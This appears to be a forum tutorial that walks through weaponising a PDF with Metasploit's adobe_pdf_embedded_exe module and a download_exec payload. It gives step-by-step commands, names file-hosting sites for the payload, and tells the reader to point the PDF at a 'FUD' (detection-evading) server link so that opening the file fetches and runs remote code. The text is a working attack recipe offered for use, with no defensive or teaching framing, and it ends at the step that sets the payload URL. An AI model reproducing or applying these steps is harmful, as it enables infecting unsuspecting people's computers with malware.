What you need:

A PDF
A Server
Metasploit

Make sure you upload your PDF and files to a DIRECT file site.

http://directxex.com
http://rghost.net/

Now first, we will need to infect the PDF file. To do this we need to open up Metasploit console.

Now that we're in the console you will want to type the following command.

PHP Code:
use exploit/windows/fileformat/adobe_pdf_embedded_exe

Once you've typed the following command you'll need to structure it out.
So you'll need to type.

PHP Code:
set payload windows/download_exec

You will need to find the location of your pdf, so find that before you type the following command.

This is a example, of what I'm talking about.

PHP Code:
set INFILENAME C:/Users/username/Desktop/example.pdf


That is a example^^

So back onto the tutorial once you found your file directory just type it in Metasploit.

PHP Code:
set INFILENAME <YOUR PDF FILE LOCATION HERE!>

Now the next part you'll need the direct link to your server.
so now type into metasploit

PHP Code:
set url <YOUR DIRECT FUD SERVER LINK HERE>